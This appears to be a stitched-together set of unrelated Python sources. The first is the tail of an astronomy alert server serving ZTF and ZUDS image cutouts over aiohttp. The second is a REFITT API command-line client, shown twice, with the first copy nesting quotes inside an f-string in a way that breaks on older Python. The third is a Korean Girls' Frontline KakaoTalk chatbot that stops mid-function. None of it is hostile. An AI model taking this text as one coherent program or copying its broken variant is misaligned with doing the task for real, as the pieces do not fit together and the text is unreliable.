(config["ztf"]["mountain_ip"], config["ztf"]["mountain_port"]),
ssh_username=config["ztf"]["mountain_username"],
ssh_password=config["ztf"]["mountain_password"],
remote_bind_address=(
config["ztf"]["mountain_bind_ip"],
config["ztf"]["mountain_bind_port"],
),
)
server.start()
url = f"http://{server.local_bind_address[0]}:{server.local_bind_address[1]}/queues"
async with ClientSession() as client_session:
response = await client_session.delete(url, json=_data, timeout=10)
server.stop()
if response.status == 200:
return self.success(message="deleted", data=dict(response.headers))
return self.error(message=f"ZTF delete attempt rejected: {response.text}")
""" lab """
# @routes.get('/lab/ztf-alerts/{candid}/cutout/{cutout}/{file_format}', allow_head=False)
@auth_required
async def ztf_alert_get_cutout(request):
"""
Serve ZTF alert cutouts as fits or png
:param request:
:return:
---
summary: Serve ZTF alert cutout as fits or png
tags:
- lab
parameters:
- in: path
name: candid
description: "ZTF alert candid"
required: true
schema:
type: integer
- in: path
name: cutout
description: "retrieve science, template, or difference cutout image?"
required: true
schema:
type: string
enum: [science, template, difference]
- in: path
name: file_format
description: "response file format: original lossless FITS or rendered png"
required: true
schema:
type: string
enum: [fits, png]
- in: query
name: interval
description: "Interval to use when rendering png"
required: false
schema:
type: string
enum: [min_max, zscale]
- in: query
name: stretch
description: "Stretch to use when rendering png"
required: false
schema:
type: string
enum: [linear, log, asinh, sqrt]
- in: query
name: cmap
description: "Color map to use when rendering png"
required: false
schema:
type: string
enum: [bone, gray, cividis, viridis, magma]
responses:
'200':
description: retrieved cutout
content:
image/fits:
schema:
type: string
format: binary
image/png:
schema:
type: string
format: binary
'400':
description: retrieval failed
content:
application/json:
schema:
type: object
required:
- status
- message
properties:
status:
type: string
enum: [error]
message:
type: string
example:
status: error
message: "failure: <error message>"
"""
try:
candid = int(request.match_info["candid"])
cutout = request.match_info["cutout"].capitalize()
file_format = request.match_info["file_format"]
interval = request.query.get("interval")
stretch = request.query.get("stretch")
cmap = request.query.get("cmap", None)
known_cutouts = ["Science", "Template", "Difference"]
if cutout not in known_cutouts:
return web.json_response(
{
"status": "error",
"message": f"cutout {cutout} not in {str(known_cutouts)}",
},
status=400,
)
known_file_formats = ["fits", "png"]
if file_format not in known_file_formats:
return web.json_response(
{
"status": "error",
"message": f"file format {file_format} not in {str(known_file_formats)}",
},
status=400,
)
normalization_methods = {
"asymmetric_percentile": AsymmetricPercentileInterval(
lower_percentile=1, upper_percentile=100
),
"min_max": MinMaxInterval(),
"zscale": ZScaleInterval(nsamples=600, contrast=0.045, krej=2.5),
}
if interval is None:
interval = "asymmetric_percentile"
normalizer = normalization_methods.get(
interval.lower(),
AsymmetricPercentileInterval(lower_percentile=1, upper_percentile=100),
)
stretching_methods = {
"linear": LinearStretch,
"log": LogStretch,
"asinh": AsinhStretch,
"sqrt": SqrtStretch,
}
if stretch is None:
stretch = "log" if cutout != "Difference" else "linear"
stretcher = stretching_methods.get(stretch.lower(), LogStretch)()
if (cmap is None) or (
cmap.lower() not in ["bone", "gray", "cividis", "viridis", "magma"]
):
cmap = "bone"
else:
cmap = cmap.lower()
alert = await request.app["mongo"]["ZTF_alerts"].find_one(
{"candid": candid}, {f"cutout{cutout}": 1}, max_time_ms=10000
)
cutout_data = loads(dumps([alert[f"cutout{cutout}"]["stampData"]]))[0]
# unzipped fits name
fits_name = pathlib.Path(alert[f"cutout{cutout}"]["fileName"]).with_suffix("")
# unzip and flip about y axis on the server side
with gzip.open(io.BytesIO(cutout_data), "rb") as f:
with fits.open(io.BytesIO(f.read()), ignore_missing_simple=True) as hdu:
header = hdu[0].header
data_flipped_y = np.flipud(hdu[0].data)
if file_format == "fits":
hdu = fits.PrimaryHDU(data_flipped_y, header=header)
# hdu = fits.PrimaryHDU(data_flipped_y)
hdul = fits.HDUList([hdu])
stamp_fits = io.BytesIO()
hdul.writeto(fileobj=stamp_fits)
return web.Response(
body=stamp_fits.getvalue(),
content_type="image/fits",
headers=MultiDict(
{"Content-Disposition": f"Attachment;filename={fits_name}"}
),
)
if file_format == "png":
buff = io.BytesIO()
plt.close("all")
fig = plt.figure()
fig.set_size_inches(4, 4, forward=False)
ax = plt.Axes(fig, [0.0, 0.0, 1.0, 1.0])
ax.set_axis_off()
fig.add_axes(ax)
# replace nans with median:
img = np.array(data_flipped_y)
# replace dubiously large values
xl = np.greater(np.abs(img), 1e20, where=~np.isnan(img))
if img[xl].any():
img[xl] = np.nan
if np.isnan(img).any():
median = float(np.nanmean(img.flatten()))
img = np.nan_to_num(img, nan=median)
norm = ImageNormalize(img, stretch=stretcher)
img_norm = norm(img)
vmin, vmax = normalizer.get_limits(img_norm)
ax.imshow(img_norm, cmap=cmap, origin="lower", vmin=vmin, vmax=vmax)
plt.savefig(buff, dpi=42)
buff.seek(0)
plt.close("all")
return web.Response(body=buff, content_type="image/png")
except Exception as _e:
log(f"Got error: {str(_e)}")
_err = traceback.format_exc()
log(_err)
return web.json_response(
{"status": "error", "message": f"failure: {_err}"}, status=400
)
# @routes.get('/lab/zuds-alerts/{candid}/cutout/{cutout}/{file_format}', allow_head=False)
@auth_required
async def zuds_alert_get_cutout(request):
"""
Serve cutouts as fits or png
:param request:
:return:
---
summary: Serve ZUDS alert cutout as fits or png
tags:
- lab
parameters:
- in: path
name: candid
description: "ZUDS alert candid"
required: true
schema:
type: integer
- in: path
name: cutout
description: "retrieve science, template, or difference cutout image?"
required: true
schema:
type: string
enum: [science, template, difference]
- in: path
name: file_format
description: "response file format: original lossless FITS or rendered png"
required: true
schema:
type: string
enum: [fits, png]
- in: query
name: scaling
description: "Scaling to use when rendering png"
required: false
schema:
type: string
enum: [linear, log, arcsinh, zscale]
- in: query
name: cmap
description: "Color map to use when rendering png"
required: false
schema:
type: string
enum: [bone, gray, cividis, viridis, magma]
responses:
'200':
description: retrieved cutout
content:
image/fits:
schema:
type: string
format: binary
image/png:
schema:
type: string
format: binary
'400':
description: retrieval failed
content:
application/json:
schema:
type: object
required:
- status
- message
properties:
status:
type: string
enum: [error]
message:
type: string
example:
status: error
message: "failure: <error message>"
"""
try:
candid = int(request.match_info["candid"])
cutout = request.match_info["cutout"].capitalize()
file_format = request.match_info["file_format"]
scaling = request.query.get("scaling", None)
cmap = request.query.get("cmap", None)
known_cutouts = ["Science", "Template", "Difference"]
if cutout not in known_cutouts:
return web.json_response(
{
"status": "error",
"message": f"cutout {cutout} not in {str(known_cutouts)}",
},
status=400,
)
known_file_formats = ["fits", "png"]
if file_format not in known_file_formats:
return web.json_response(
{
"status": "error",
"message": f"file format {file_format} not in {str(known_file_formats)}",
},
status=400,
)
default_scaling = {"Science": "log", "Template": "log", "Difference": "linear"}
if (scaling is None) or (
scaling.lower() not in ("log", "linear", "zscale", "arcsinh")
):
scaling = default_scaling[cutout]
else:
scaling = scaling.lower()
if (cmap is None) or (
cmap.lower() not in ["bone", "gray", "cividis", "viridis", "magma"]
):
cmap = "bone"
else:
cmap = cmap.lower()
alert = await request.app["mongo"]["ZUDS_alerts"].find_one(
{"candid": candid}, {f"cutout{cutout}": 1}, max_time_ms=60000
)
cutout_data = loads(dumps([alert[f"cutout{cutout}"]]))[0]
# unzipped fits name
fits_name = f"{candid}.cutout{cutout}.fits"
# unzip and flip about y axis on the server side
with gzip.open(io.BytesIO(cutout_data), "rb") as f:
with fits.open(io.BytesIO(f.read()), ignore_missing_simple=True) as hdu:
header = hdu[0].header
# no need to flip it since Danny does that on his end
# data_flipped_y = np.flipud(hdu[0].data)
data_flipped_y = hdu[0].data
if file_format == "fits":
hdu = fits.PrimaryHDU(data_flipped_y, header=header)
# hdu = fits.PrimaryHDU(data_flipped_y)
hdul = fits.HDUList([hdu])
stamp_fits = io.BytesIO()
hdul.writeto(fileobj=stamp_fits)
return web.Response(
body=stamp_fits.getvalue(),
content_type="image/fits",
headers=MultiDict(
{"Content-Disposition": f"Attachment;filename={fits_name}"}
),
)
if file_format == "png":
buff = io.BytesIO()
plt.close("all")
fig = plt.figure()
fig.set_size_inches(4, 4, forward=False)
ax = plt.Axes(fig, [0.0, 0.0, 1.0, 1.0])
ax.set_axis_off()
fig.add_axes(ax)
# replace nans with median:
img = np.array(data_flipped_y)
# replace dubiously large values
xl = np.greater(np.abs(img), 1e20, where=~np.isnan(img))
if img[xl].any():
img[xl] = np.nan
if np.isnan(img).any():
median = float(np.nanmean(img.flatten()))
img = np.nan_to_num(img, nan=median)
if scaling == "log":
img[img <= 0] = np.median(img)
ax.imshow(img, cmap=cmap, norm=LogNorm(), origin="lower")
elif scaling == "linear":
ax.imshow(img, cmap=cmap, origin="lower")
elif scaling == "zscale":
interval = ZScaleInterval(
nsamples=img.shape[0] * img.shape[1], contrast=0.045, krej=2.5
)
limits = interval.get_limits(img)
ax.imshow(
img, origin="lower", cmap=cmap, vmin=limits[0], vmax=limits[1]
)
elif scaling == "arcsinh":
ax.imshow(np.arcsinh(img - np.median(img)), cmap=cmap, origin="lower")
plt.savefig(buff, dpi=42)
buff.seek(0)
plt.close("all")
return web.Response(body=buff, content_type="image/png")
except Exception as _e:
log(f"Got error: {str(_e)}")
_err = traceback.format_exc()
log(_err)
return web.json_response(
{"status": "error", "message": f"failure: {_err}"}, status=400
)
async def app_factory():
"""
App Factory
:return:
"""
# init db if necessary
await init_db(config=config)
# Database connection
mongodb_connection_string = (
f"mongodb://{config['database']['admin_username']}:{config['database']['admin_password']}@"
+ f"{config['database']['host']}:{config['database']['port']}"
)
if config["database"]["replica_set"] is not None:
mongodb_connection_string += f"/?replicaSet={config['database']['replica_set']}"
client = AsyncIOMotorClient(
mongodb_connection_string,
maxPoolSize=config["database"]["max_pool_size"],
)
mongo = client[config["database"]["db"]]
# admin to connect to this instance from outside using API
await add_admin(mongo, config=config)
# init app with auth and error handling middlewares
app = web.Application(middlewares=[auth_middleware, error_middleware])
# store mongo connection
app["mongo"] = mongo
# mark all enqueued tasks failed on startup
await app["mongo"].queries.update_many(
{"status": "enqueued"},
{"$set": {"status": "error", "last_modified": datetime.datetime.utcnow()}},
)
# graciously close mongo client on shutdown
async def close_mongo(_app):
_app["mongo"].client.close()
app.on_cleanup.append(close_mongo)
# use ODMantic to work with structured data such as Filters
engine = AIOEngine(motor_client=client, database=config["database"]["db"])
# ODM = Object Document Mapper
app["mongo_odm"] = engine
# set up JWT for user authentication/authorization
app["JWT"] = {
"JWT_SECRET": config["server"]["JWT_SECRET_KEY"],
"JWT_ALGORITHM": config["server"]["JWT_ALGORITHM"],
"JWT_EXP_DELTA_SECONDS": config["server"]["JWT_EXP_DELTA_SECONDS"],
}
# OpenAPI docs:
s = SwaggerDocs(
app,
redoc_ui_settings=ReDocUiSettings(path="/docs/api/"),
# swagger_ui_settings=SwaggerUiSettings(path="/docs/api/"),
validate=config["misc"]["openapi_validate"],
title=config["server"]["name"],
version=config["server"]["version"],
description=config["server"]["description"],
components="components_api.yaml",
)
# instantiate handler classes:
query_handler = QueryHandler()
filter_handler = FilterHandler()
ztf_trigger_handler = ZTFTriggerHandler()
ztf_trigger_handler_test = ZTFTriggerHandler(test=True)
# add routes manually
s.add_routes(
[
web.get("/", ping, name="root", allow_head=False),
# auth:
web.post("/api/auth", auth_post, name="auth"),
# users:
web.post("/api/users", users_post),
web.delete("/api/users/{username}", users_delete),
web.put("/api/users/{username}", users_put),
# queries:
web.post("/api/queries", query_handler.post),
# filters:
web.get(
r"/api/filters/{filter_id:[0-9]+}", filter_handler.get, allow_head=False
),
web.post("/api/filters", filter_handler.post),
web.patch("/api/filters", filter_handler.patch),
web.delete("/api/filters/{filter_id:[0-9]+}", filter_handler.delete),
# triggers
web.get("/api/triggers/ztf", ztf_trigger_handler.get),
web.put("/api/triggers/ztf", ztf_trigger_handler.put),
web.delete("/api/triggers/ztf", ztf_trigger_handler.delete),
web.put("/api/triggers/ztf.test", ztf_trigger_handler_test.put),
web.delete("/api/triggers/ztf.test", ztf_trigger_handler_test.delete),
# lab:
web.get(
"/lab/ztf-alerts/{candid}/cutout/{cutout}/{file_format}",
ztf_alert_get_cutout,
allow_head=False,
),
web.get(
"/lab/zuds-alerts/{candid}/cutout/{cutout}/{file_format}",
zuds_alert_get_cutout,
allow_head=False,
),
]
)
return app
uvloop.install()
if __name__ == "__main__":
web.run_app(app_factory(), port=config["server"]["port"])
|
# SPDX-FileCopyrightText: 2019-2021 REFITT Team
# SPDX-License-Identifier: Apache-2.0
"""Make authenticated requests to the API."""
# type annotations
from __future__ import annotations
from typing import List, Dict, Callable, Optional, IO, Any, Union
# standard libs
import os
import sys
import json
import functools
import logging
from io import BytesIO
from functools import cached_property
# external libs
from requests.exceptions import ConnectionError
from cmdkit.app import Application, exit_status
from cmdkit.cli import Interface, ArgumentError
from rich.console import Console
from rich.syntax import Syntax
# internal libs
from ...web import request
from ...web.api.response import STATUS_CODE
from ...core.exceptions import log_exception
from ...core import typing, ansi
# public interface
__all__ = ['APIClientApp', ]
PROGRAM = 'refitt api'
PADDING = ' ' * len(PROGRAM)
USAGE = f"""\
usage: {PROGRAM} [-h] <method> <route> [<options>...] [[-d DATA | @FILE] | [-f FILE]] [-r] [-x NODE]
{PADDING} [--download] [--no-headers]
{__doc__}\
"""
HELP = f"""\
{USAGE}
For POST requests, include JSON payloads with -d/--data inline or with @ preceded by
a local file path. To upload a raw file as an attachment use -f/--file.
Downloaded files are not dumped with a live TTY but will be otherwise, use --download
to save to the local filesystem.
Headers are displayed along with syntax highlighting if a TTY is detected.
Extract a member element from JSON responses with -x/--extract (e.g., '-x .Response.object').
Strip quotations for extracted string literals with -r/--raw.
URL parameters can be encoded inline, e.g.,
> refitt api get recommendation limit==1 join==true
arguments:
method HTTP method (e.g., GET/PUT/POST/DELETE).
route URL path (e.g., /object/1).
options... URL parameters (e.g., 'limit==1').
options:
-d, --data DATA | @FILE Raw inline content or file path.
-f, --file FILE Path to file for attachment. ('-' for stdin).
-x, --extract NODE JSON path for element (e.g., '.Response.user').
-r, --raw Strip quotes on single extracted string literal.
--no-headers Do now show headers for TTY.
--download Save file attachment.
-h, --help Show this message and exit.\
"""
# application logger
log = logging.getLogger('refitt')
class APIClientApp(Application):
"""Application class for requests module."""
interface = Interface(PROGRAM, USAGE, HELP)
method: str = None
interface.add_argument('method')
route: str = None
interface.add_argument('route')
options: List[str] = None
interface.add_argument('options', nargs='*', default=[])
show_headers: bool = True
interface.add_argument('--no-headers', action='store_false', dest='show_headers')
download: bool = True
interface.add_argument('--download', action='store_true')
data_source: Optional[str] = None
file_source: Optional[str] = None
post_interface = interface.add_mutually_exclusive_group()
post_interface.add_argument('-d', '--data', default=file_source, dest='data_source')
post_interface.add_argument('-f', '--file', default=file_source, dest='file_source')
extraction_path: Optional[str] = None
interface.add_argument('-x', '--extract', default=None, dest='extraction_path')
display_raw: bool = False
interface.add_argument('-r', '--raw', action='store_true', dest='display_raw')
exceptions = {
ConnectionError: functools.partial(log_exception, logger=log.error, status=exit_status.runtime_error),
**Application.exceptions,
}
def run(self) -> None:
"""Make web request."""
self.check_args()
self.apply_settings()
try:
self.format_output(**self.make_request())
except request.APIError as error:
response, = error.args
self.format_output(**{
'status': response.status_code,
'headers': {'Protocol': request.get_protocol(response),
'Version': request.get_protocol_version(response),
**response.headers},
'content': response.json()
})
def check_args(self):
"""Validate method, position arguments, etc."""
if self.file_source is not None and self.method.lower() != 'post':
raise ArgumentError(f'Cannot use -f/--file option for {self.method.upper()} request')
elif self.data_source is not None and self.method.lower() != 'post':
raise ArgumentError(f'Cannot use -d/--data option for {self.method.upper()} request')
for option in self.options:
if '==' not in option:
raise ArgumentError(f'Positional arguments should have equality syntax, \'{option}\'')
@property
def request_method(self) -> Callable[..., dict]:
"""Bound method of `request` module by accessing named `method`."""
method = self.method.lower()
try:
return getattr(request, method)
except AttributeError:
raise ArgumentError(f'Method not supported \'{method}\'')
@property
def endpoint(self) -> Callable[..., dict]:
"""Bound method from `refitt.web.request` called with the `route`."""
return functools.partial(self.request_method, self.route)
@cached_property
def files(self) -> Optional[Dict[str, IO]]:
"""Prepared file stream."""
if self.file_source is None:
return None
elif self.file_source == '-':
return {'<stdin>': BytesIO(sys.stdin.buffer.read())}
else:
with open(self.file_source, mode='rb') as stream:
return {os.path.basename(self.file_source): BytesIO(stream.read())}
@cached_property
def data(self) -> Optional[dict]:
"""Prepared JSON data."""
if self.data_source is None:
return None
elif not self.data_source.startswith('@'):
return json.loads(self.data_source)
else:
with open(self.data_source[1:], mode='r') as stream:
return json.load(stream)
@cached_property
def payload(self) -> Dict[str, Union[Dict[str, Any], Dict[str, IO]]]:
"""Mapping of request parameter and data/stream for request payload."""
if self.file_source:
return {'files': self.files}
elif self.data_source:
return {'json': self.data}
else:
return {}
def make_request(self) -> dict:
"""Issue web request."""
return self.endpoint(extract_response=False, raise_on_error=True,
**self.payload, **self.structured_options)
@property
def structured_options(self) -> dict:
"""Parse `{option}=={value}` positional arguments into dictionary."""
return {
option: typing.coerce(value) for option, value in [
arg.split('==') for arg in self.options
]
}
def format_output(self, status: int, headers: dict, content: dict) -> None:
"""Format and print response data from request."""
if sys.stdout.isatty() and self.show_headers:
self.format_headers(status, headers)
if headers['Content-Type'] == 'application/octet-stream':
self.format_octet_stream(content)
else:
self.format_json(content)
@staticmethod
def format_headers(status: int, headers: dict) -> None:
"""Display request info and headers."""
headers.pop('Connection', None)
protocol = headers.pop('Protocol')
version = headers.pop('Version')
print(f'{ansi.blue(protocol)}/{ansi.blue(version)} {ansi.cyan(str(status))} '
f'{ansi.cyan(STATUS_CODE[status])}')
for field, value in headers.items():
print(f'{ansi.cyan(field)}: {value}')
def format_octet_stream(self, content: dict) -> None:
"""Format output and save file to local disk if needed."""
if not self.download:
if sys.stdout.isatty():
print('---')
print(f'{ansi.red('Content-Disabled')}: use --download to save file')
else:
(filename, data), = content.items()
sys.stdout.buffer.write(data)
else:
(filename, data), = content.items()
self.save_local(filename, data)
def format_json(self, content: dict) -> None:
"""Format output for JSON content."""
if self.extraction_path is not None:
content = self.extract_partial(content, self.extraction_path)
if isinstance(content, (dict, list)):
content = json.dumps(content, indent=4)
if sys.stdout.isatty():
Console().print(Syntax(content, 'json',
word_wrap=True, theme='solarized-dark',
background_color='default'))
else:
print(content)
else:
content = json.dumps(content, indent=4) # formats special types
if self.display_raw:
content = content.strip('"')
print(content)
@staticmethod
def extract_partial(content: dict, path: str) -> Any:
"""Pull sections or values out of nested `content`."""
result = dict(content)
for section in path.strip('.').split('.'):
try:
result = result[section]
except KeyError as error:
raise RuntimeError(f'Element not found \'{path}\'') from error
return result
@staticmethod
def save_local(filename: str, data: bytes) -> None:
"""Attempt to save `data` as local file to `filename` path."""
name = filename.strip('./') # NOTE: safe path (e.g., no ../)
path = name
suffix = 1
while os.path.exists(path):
path = f'{name}.{suffix}'
suffix += 1
print()
print(f'Writing {len(data)} B to "{path}"')
with open(path, mode='wb') as stream:
stream.write(data)
print('Done.')
@staticmethod
def apply_settings() -> None:
"""Additional setup requirements before making web request."""
request.PERSIST_TOKEN = True
| # SPDX-FileCopyrightText: 2019-2021 REFITT Team
# SPDX-License-Identifier: Apache-2.0
"""Make authenticated requests to the API."""
# type annotations
from __future__ import annotations
from typing import List, Dict, Callable, Optional, IO, Any, Union
# standard libs
import os
import sys
import json
import functools
import logging
from io import BytesIO
from functools import cached_property
# external libs
from requests.exceptions import ConnectionError
from cmdkit.app import Application, exit_status
from cmdkit.cli import Interface, ArgumentError
from rich.console import Console
from rich.syntax import Syntax
# internal libs
from ...web import request
from ...web.api.response import STATUS_CODE
from ...core.exceptions import log_exception
from ...core import typing, ansi
# public interface
__all__ = ['APIClientApp', ]
PROGRAM = 'refitt api'
PADDING = ' ' * len(PROGRAM)
USAGE = f"""\
usage: {PROGRAM} [-h] <method> <route> [<options>...] [[-d DATA | @FILE] | [-f FILE]] [-r] [-x NODE]
{PADDING} [--download] [--no-headers]
{__doc__}\
"""
HELP = f"""\
{USAGE}
For POST requests, include JSON payloads with -d/--data inline or with @ preceded by
a local file path. To upload a raw file as an attachment use -f/--file.
Downloaded files are not dumped with a live TTY but will be otherwise, use --download
to save to the local filesystem.
Headers are displayed along with syntax highlighting if a TTY is detected.
Extract a member element from JSON responses with -x/--extract (e.g., '-x .Response.object').
Strip quotations for extracted string literals with -r/--raw.
URL parameters can be encoded inline, e.g.,
> refitt api get recommendation limit==1 join==true
arguments:
method HTTP method (e.g., GET/PUT/POST/DELETE).
route URL path (e.g., /object/1).
options... URL parameters (e.g., 'limit==1').
options:
-d, --data DATA | @FILE Raw inline content or file path.
-f, --file FILE Path to file for attachment. ('-' for stdin).
-x, --extract NODE JSON path for element (e.g., '.Response.user').
-r, --raw Strip quotes on single extracted string literal.
--no-headers Do now show headers for TTY.
--download Save file attachment.
-h, --help Show this message and exit.\
"""
# application logger
log = logging.getLogger('refitt')
class APIClientApp(Application):
"""Application class for requests module."""
interface = Interface(PROGRAM, USAGE, HELP)
method: str = None
interface.add_argument('method')
route: str = None
interface.add_argument('route')
options: List[str] = None
interface.add_argument('options', nargs='*', default=[])
show_headers: bool = True
interface.add_argument('--no-headers', action='store_false', dest='show_headers')
download: bool = True
interface.add_argument('--download', action='store_true')
data_source: Optional[str] = None
file_source: Optional[str] = None
post_interface = interface.add_mutually_exclusive_group()
post_interface.add_argument('-d', '--data', default=file_source, dest='data_source')
post_interface.add_argument('-f', '--file', default=file_source, dest='file_source')
extraction_path: Optional[str] = None
interface.add_argument('-x', '--extract', default=None, dest='extraction_path')
display_raw: bool = False
interface.add_argument('-r', '--raw', action='store_true', dest='display_raw')
exceptions = {
ConnectionError: functools.partial(log_exception, logger=log.error, status=exit_status.runtime_error),
**Application.exceptions,
}
def run(self) -> None:
"""Make web request."""
self.check_args()
self.apply_settings()
try:
self.format_output(**self.make_request())
except request.APIError as error:
response, = error.args
self.format_output(**{
'status': response.status_code,
'headers': {'Protocol': request.get_protocol(response),
'Version': request.get_protocol_version(response),
**response.headers},
'content': response.json()
})
def check_args(self):
"""Validate method, position arguments, etc."""
if self.file_source is not None and self.method.lower() != 'post':
raise ArgumentError(f'Cannot use -f/--file option for {self.method.upper()} request')
elif self.data_source is not None and self.method.lower() != 'post':
raise ArgumentError(f'Cannot use -d/--data option for {self.method.upper()} request')
for option in self.options:
if '==' not in option:
raise ArgumentError(f'Positional arguments should have equality syntax, \'{option}\'')
@property
def request_method(self) -> Callable[..., dict]:
"""Bound method of `request` module by accessing named `method`."""
method = self.method.lower()
try:
return getattr(request, method)
except AttributeError:
raise ArgumentError(f'Method not supported \'{method}\'')
@property
def endpoint(self) -> Callable[..., dict]:
"""Bound method from `refitt.web.request` called with the `route`."""
return functools.partial(self.request_method, self.route)
@cached_property
def files(self) -> Optional[Dict[str, IO]]:
"""Prepared file stream."""
if self.file_source is None:
return None
elif self.file_source == '-':
return {'<stdin>': BytesIO(sys.stdin.buffer.read())}
else:
with open(self.file_source, mode='rb') as stream:
return {os.path.basename(self.file_source): BytesIO(stream.read())}
@cached_property
def data(self) -> Optional[dict]:
"""Prepared JSON data."""
if self.data_source is None:
return None
elif not self.data_source.startswith('@'):
return json.loads(self.data_source)
else:
with open(self.data_source[1:], mode='r') as stream:
return json.load(stream)
@cached_property
def payload(self) -> Dict[str, Union[Dict[str, Any], Dict[str, IO]]]:
"""Mapping of request parameter and data/stream for request payload."""
if self.file_source:
return {'files': self.files}
elif self.data_source:
return {'json': self.data}
else:
return {}
def make_request(self) -> dict:
"""Issue web request."""
return self.endpoint(extract_response=False, raise_on_error=True,
**self.payload, **self.structured_options)
@property
def structured_options(self) -> dict:
"""Parse `{option}=={value}` positional arguments into dictionary."""
return {
option: typing.coerce(value) for option, value in [
arg.split('==') for arg in self.options
]
}
def format_output(self, status: int, headers: dict, content: dict) -> None:
"""Format and print response data from request."""
if sys.stdout.isatty() and self.show_headers:
self.format_headers(status, headers)
if headers['Content-Type'] == 'application/octet-stream':
self.format_octet_stream(content)
else:
self.format_json(content)
@staticmethod
def format_headers(status: int, headers: dict) -> None:
"""Display request info and headers."""
headers.pop('Connection', None)
protocol = headers.pop('Protocol')
version = headers.pop('Version')
print(f'{ansi.blue(protocol)}/{ansi.blue(version)} {ansi.cyan(str(status))} '
f'{ansi.cyan(STATUS_CODE[status])}')
for field, value in headers.items():
print(f'{ansi.cyan(field)}: {value}')
def format_octet_stream(self, content: dict) -> None:
"""Format output and save file to local disk if needed."""
if not self.download:
if sys.stdout.isatty():
print('---')
print(f'{ansi.red("Content-Disabled")}: use --download to save file')
else:
(filename, data), = content.items()
sys.stdout.buffer.write(data)
else:
(filename, data), = content.items()
self.save_local(filename, data)
def format_json(self, content: dict) -> None:
"""Format output for JSON content."""
if self.extraction_path is not None:
content = self.extract_partial(content, self.extraction_path)
if isinstance(content, (dict, list)):
content = json.dumps(content, indent=4)
if sys.stdout.isatty():
Console().print(Syntax(content, 'json',
word_wrap=True, theme='solarized-dark',
background_color='default'))
else:
print(content)
else:
content = json.dumps(content, indent=4) # formats special types
if self.display_raw:
content = content.strip('"')
print(content)
@staticmethod
def extract_partial(content: dict, path: str) -> Any:
"""Pull sections or values out of nested `content`."""
result = dict(content)
for section in path.strip('.').split('.'):
try:
result = result[section]
except KeyError as error:
raise RuntimeError(f'Element not found \'{path}\'') from error
return result
@staticmethod
def save_local(filename: str, data: bytes) -> None:
"""Attempt to save `data` as local file to `filename` path."""
name = filename.strip('./') # NOTE: safe path (e.g., no ../)
path = name
suffix = 1
while os.path.exists(path):
path = f'{name}.{suffix}'
suffix += 1
print()
print(f'Writing {len(data)} B to "{path}"')
with open(path, mode='wb') as stream:
stream.write(data)
print('Done.')
@staticmethod
def apply_settings() -> None:
"""Additional setup requirements before making web request."""
request.PERSIST_TOKEN = True
|
from flask import Flask, request, jsonify
from chatterbox import *
import girlsfrontline_core_python as gfl_core
import re
import logging
import json
import urllib
import pymysql
from logging_db import MySQLHandler
from ranking_poll import EventRankPoll
import static_resp as rp
import kakao_vision as kv
application = Flask(__name__)
chatter = Chatter(memory='sqlite',
frequency=10,
fallback=False)
cf = json.load(open("config.json", "r", encoding="utf-8"))
# MySQL Connection
conn = pymysql.connect(**cf["MySQL"])
# Logging 모듈 설정
logger = logging.getLogger("main")
logger.setLevel(logging.INFO)
# 핸들러 설정 및 추가
db_handler = MySQLHandler(conn)
logger.addHandler(db_handler)
# 정규식 컴파일
re_build_time = re.compile(r"^([0-9]{1,2})?[ :]?([0-5][0-9])$")
re_rp_calc = re.compile(
r"([0-9]{1,3})[ ,.]([0-9]{1,3})[ ,.]?([0-9]+)?[ ,.]?(서약|ㅅㅇ)?[ ,.]?(요정|ㅇㅈ)?([화ㅎ][력ㄹ]([1]?[0-9])?)?"
)
re_rank_poll = re.compile(r"([0-9]{0,6})[점]? ([0-9]{1,3})(퍼센트|퍼|%|등|)[ ]?(.+)?$")
cancel_list = {'돌아가기', '취소', '종료', '잘가', 'ㅂㅂ', '꺼져', '뒤로', '뒤로가기', '나가기'}
# RankingPoll
rank = EventRankPoll(conn)
# girlsfrontline_core_python
core = gfl_core.core.Core(cf['gfl_core']['dir'])
kv.APP_KEY = cf['kakao_vision']['app_key']
# Chatterbox
# 초기 화면 설정
@chatter.base(name='홈')
def home_keyboard():
return rp.kb_home
# src = 현재 상태(status)
# action = 유저가 입력한 것
# dest = 다음 상태(status)
@chatter.rule(action='인형 검색', src='홈', dest='인형 검색 페이지')
def search_doll(data):
extra_data = dict(user_status='홈', **data)
logger.info(rp.msg_search_doll, extra=extra_data)
return rp.search_doll
@chatter.rule(action='*', src='인형 검색 페이지')
def searched_doll(data):
re_match = re_build_time.match(data['content'].strip())
res = core.find_nickname(data['content'].strip(), 'doll')
if data['content'] in cancel_list:
return cancel(data)
elif re_match:
b_hour, b_min = re_match.groups(default='0')
build_time = int(b_hour) * 3600 + int(b_min) * 60
# searched(dict): 코어에서 나온 객체들
searched = [core.l10n("ko-KR", "doll", n) for n in core.doll.build_time.get(build_time, {})]
if searched and build_time > 0:
if len(searched) == 1:
msg = Text(rp.f_msg_free_input_info["doll"].format(**searched[0]))
msg += MessageButton("상세 정보", searched[0]['link'])
msg += Photo(**searched[0]["photo"])
adv = Keyboard(type="text")
else:
dolls = ["{name}: {rank}성 {Type}".format(**n) for n in searched]
msg = Text("찾은 인형 목록:\n{0}".format("\n".join(dolls)))
adv = Keyboard([n['name'] for n in searched] + ["돌아가기"])
else:
msg = Text("검색 결과가 없습니다.")
adv = Keyboard(type='text')
elif res:
if isinstance(res, tuple):
msg = Text(rp.f_msg_free_input_info[res[0]].format(**res[1])) + MessageButton("상세 정보", res[1]['link'])
msg += Photo(**res[1]["photo"])
adv = Keyboard(type="text")
else:
msg = Text("무엇을 찾으셨나요?")
adv = Keyboard(buttons=res)
else:
msg = Text("올바르지 않은 입력입니다.")
adv = Keyboard(type='text')
extra_data = dict(user_status='인형 검색 페이지', **data)
logger.info(msg.text if isinstance(msg, Text) else msg.text.text, extra=extra_data)
return msg + adv
@chatter.rule(action='장비 검색', src='홈', dest='장비 검색 페이지')
def search_equip(data):
extra_data = dict(user_status='홈', **data)
logger.info(rp.msg_search_equip, extra=extra_data)
return rp.search_equip
@chatter.rule(action='*', src='장비 검색 페이지', dest='홈')
def searched_equip(data):
re_match = re_build_time.match(data['content'].strip())
if re_match:
b_hour, b_min = re_match.groups('0')
build_time = int(b_hour) * 3600 + int(b_min) * 60
if build_time < 3600:
searched = [core.l10n("ko-KR", "equip", n) for n in core.equip.build_time.get(build_time, {})]
equips = ["{name}: {rank}성 {category_name}".format(**n) for n in searched]
else:
searched = [core.l10n("ko-KR", "fairy", n) for n in core.fairy.build_time.get(build_time, {})]
equips = ["{name}".format(**n) for n in searched]
if equips and build_time > 0:
msg = "찾은 장비/요정 목록:\n{0}".format("\n".join(equips))
else:
